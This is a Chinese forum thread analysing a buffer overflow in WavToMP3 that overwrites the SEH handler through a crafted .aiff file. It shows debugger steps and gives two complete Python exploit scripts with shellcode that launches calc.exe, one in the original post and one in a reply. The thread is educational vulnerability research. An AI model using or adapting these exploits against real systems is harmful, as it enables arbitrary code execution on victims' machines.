吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 16890|回复: 13
收起左侧

[漏洞分析] 一个缓冲区溢出覆盖SEH漏洞分析

[复制链接]
安静的小酒吧 发表于 2016-1-10 11:59
本帖最后由 安静的小酒吧 于 2016-1-12 10:09 编辑

0x00 漏洞基本信息
漏洞来源:https://www.exploit-db.com/exploits/38456/
提交时间: 10/13/2015
发现者 : ArminCyber
测试环境: XP SP3
说明:一个异构的.aiff文件就可触发
类型:本地溢出/任意代码执行

0x01 漏洞现象
使用wavtomp3打开一个构造好的.aiff文件
ScreenClip.png
弹出计算器
ScreenClip [1].png
0x02 漏洞利用代码
[Python] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
f = open("malicious.aiff", "w")
 
f.write("A"*4132)
 
f.write("\xeb\x06\x90\x90")
 
f.write("\xa4\x43\x40\x00")
 
# Shelcode:
# windows/exec - 277 bytes
# CMD=calc.exe
f.write("\x90"*20)
f.write("\xba\xd5\x31\x08\x38\xdb\xcb\xd9\x74\x24\xf4\x5b\x29\xc9\xb1"
"\x33\x83\xc3\x04\x31\x53\x0e\x03\x86\x3f\xea\xcd\xd4\xa8\x63"
"\x2d\x24\x29\x14\xa7\xc1\x18\x06\xd3\x82\x09\x96\x97\xc6\xa1"
"\x5d\xf5\xf2\x32\x13\xd2\xf5\xf3\x9e\x04\x38\x03\x2f\x89\x96"
"\xc7\x31\x75\xe4\x1b\x92\x44\x27\x6e\xd3\x81\x55\x81\x81\x5a"
"\x12\x30\x36\xee\x66\x89\x37\x20\xed\xb1\x4f\x45\x31\x45\xfa"
"\x44\x61\xf6\x71\x0e\x99\x7c\xdd\xaf\x98\x51\x3d\x93\xd3\xde"
"\xf6\x67\xe2\x36\xc7\x88\xd5\x76\x84\xb6\xda\x7a\xd4\xff\xdc"
"\x64\xa3\x0b\x1f\x18\xb4\xcf\x62\xc6\x31\xd2\xc4\x8d\xe2\x36"
"\xf5\x42\x74\xbc\xf9\x2f\xf2\x9a\x1d\xb1\xd7\x90\x19\x3a\xd6"
"\x76\xa8\x78\xfd\x52\xf1\xdb\x9c\xc3\x5f\x8d\xa1\x14\x07\x72"
"\x04\x5e\xa5\x67\x3e\x3d\xa3\x76\xb2\x3b\x8a\x79\xcc\x43\xbc"
"\x11\xfd\xc8\x53\x65\x02\x1b\x10\x99\x48\x06\x30\x32\x15\xd2"
"\x01\x5f\xa6\x08\x45\x66\x25\xb9\x35\x9d\x35\xc8\x30\xd9\xf1"
"\x20\x48\x72\x94\x46\xff\x73\xbd\x24\x9e\xe7\x5d\x85\x05\x80"
"\xc4\xd9")
f.write("\x90"*20)
 
f.close()

0x03 开始分析
根据漏洞产生象可以知道,在读取文件之后出错的,所以现在CreateFileW处下断点。(一般以xxxxxxxA结尾的函数都会调用到xxxxxxW结尾的函数,所以给CreateFileW下端更加可靠)
运行起来,加载文件,点击Play按钮,就会就会断下来,Ctr+F9,出来之后就单步跟踪发现在调用sub_4BA820函数后shellcode执行,那么问题应该出在这个函数里面

ScreenClip [2].png

0x04 单步进入sub_4BA820,执行到ret指令前
ScreenClip [3].png

0x05 这个shellcode的写法是一个常见的栈溢出利用seh结构如下
填充+nseh+seh+nop+shellcode
结构如下:
ScreenClip [4].png

各部分含义如下:
填充:数据覆盖直到函数返回地址

nseh : next seh 指示下一个seh结构的位置,在这里使用"\xeb\x06\x90\x90"填充是一个通用的填充方法,这四个字节反汇编的结果是 jmp 6   nop   nop这样三条指令,原因是jmp 6个字节刚好绕过两个nop指令和一个4字节的seh处理程序的地址,落入nop指令区,然后滑行进入shellcode


seh : seh处理程序地址部分填入的是一个指向pop pop ret 这样连续三条指令的一个地址,这样填充原因是,在异常出现时,先保存当前栈定,然后系统会在栈里面压入两个参数,所以两个pop是pop出来系统压的参数,然后ret到nseh的位置,接着开始执行指令,然后参考上面nseh的数据介绍就可以。


所以现在0x004043A4   这个位置下断点,然后shift+F9就到了这个位置:
ScreenClip [5].png   


从断点的位置开始,将会执行一个pop pop ret指令,显然,MessageBox函数需要4个参数,从断点开始只压入了3个,MessageBox函数执行完之后,默认恢复斩平衡就会弹出来4个值,所以相当于一个pop指令,接下来一个pop,一个ret就回到了nseh,如下

ScreenClip [6].png


0x06 漏洞产生原因还是由于拷贝长度没有检查导致的
ScreenClip [7].png


小结:
漏洞原理比较简单,利用方式也比较传统,主要是分析下相关的栈溢出覆盖seh及其利用方式。
平时很少分析漏洞,希望大牛多多指点。


分析软件和漏洞利用文件:http://pan.baidu.com/s/1hrxSQaw








免费评分

参与人数 2威望 +2 热心值 +2 收起 理由
lingyulingyu + 1 谢谢@Thanks!
Hmily + 2 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩.

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

bincker 发表于 2016-4-13 16:10
我也贴一个不同版本的exp,环境xp3

偏移了4128字节+eip + nops + shellcode = 弹出计算器~~

用peda 的patter_create出了计算的payload  

代码:

[Python] 纯文本查看 复制代码
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
filename = "test.aiff"
 
f = open(filename, "w")
#6932414D
 
#jmp esp = Found commands (All modules), item 38
#Address=77D456F7
   
 
buffer = "A"*4128
eip = "\xF7\x56\xD4\x77"
nops = "\x90"*25
shellcode = "\x31\xc9\xda\xd4\xb1\x33\xbd\xec\x71\x94\xde\xd9\x74\x24\xf4"
shellcode += "\x5f\x31\x6f\x15\x03\x6f\x15\x83\x2b\x75\x76\x2b\x4f\x9e\xff"
shellcode += "\xd4\xaf\x5f\x60\x5c\x4a\x6e\xb2\x3a\x1f\xc3\x02\x48\x4d\xe8"
shellcode += "\xe9\x1c\x65\x7b\x9f\x88\x8a\xcc\x2a\xef\xa5\xcd\x9a\x2f\x69"
shellcode += "\x0d\xbc\xd3\x73\x42\x1e\xed\xbc\x97\x5f\x2a\xa0\x58\x0d\xe3"
shellcode += "\xaf\xcb\xa2\x80\xed\xd7\xc3\x46\x7a\x67\xbc\xe3\xbc\x1c\x76"
shellcode += "\xed\xec\x8d\x0d\xa5\x14\xa5\x4a\x16\x25\x6a\x89\x6a\x6c\x07"
shellcode += "\x7a\x18\x6f\xc1\xb2\xe1\x5e\x2d\x18\xdc\x6f\xa0\x60\x18\x57"
shellcode += "\x5b\x17\x52\xa4\xe6\x20\xa1\xd7\x3c\xa4\x34\x7f\xb6\x1e\x9d"
shellcode += "\x7e\x1b\xf8\x56\x8c\xd0\x8e\x31\x90\xe7\x43\x4a\xac\x6c\x62"
shellcode += "\x9d\x25\x36\x41\x39\x6e\xec\xe8\x18\xca\x43\x14\x7a\xb2\x3c"
shellcode += "\xb0\xf0\x50\x28\xc2\x5a\x3e\xaf\x46\xe1\x07\xaf\x58\xea\x27"
shellcode += "\xd8\x69\x61\xa8\x9f\x75\xa0\x8d\x40\x94\x61\xfb\xe8\x01\xe0"
shellcode += "\x46\x75\xb2\xde\x84\x80\x31\xeb\x74\x77\x29\x9e\x71\x33\xed"
shellcode += "\x72\x0b\x2c\x98\x74\xb8\x4d\x89\x16\x5f\xde\x51\xf7\xfa\x66"
shellcode += "\xf3\x07"
f.write(buffer + eip + nops + shellcode)
 
f.close()

zt185 发表于 2016-1-10 12:29
卧龙程序开发 发表于 2016-1-18 13:17 来自手机
Johnbingo 发表于 2016-1-20 16:35
楼主厉害啊,最近正在学习SEH覆盖这块,学习了,非常感谢楼主的分享。{:1_912:}
www52pojiecn 发表于 2016-1-22 12:54
不错,赞!看了
枫MapleLCG 发表于 2016-1-22 18:25
我只想知道,为什么打开的都是计算器。。。
 楼主| 安静的小酒吧 发表于 2016-1-24 17:47
枫叶飘零 发表于 2016-1-22 18:25
我只想知道,为什么打开的都是计算器。。。

shellcode
ruanjiandiguo 发表于 2016-11-12 11:37
楼主太厉害啊,最近想学习SEH覆盖这块,真正学习了
Ju5td0 发表于 2016-11-14 12:44
谢谢分享  ,很强大
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2025-4-19 01:47

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表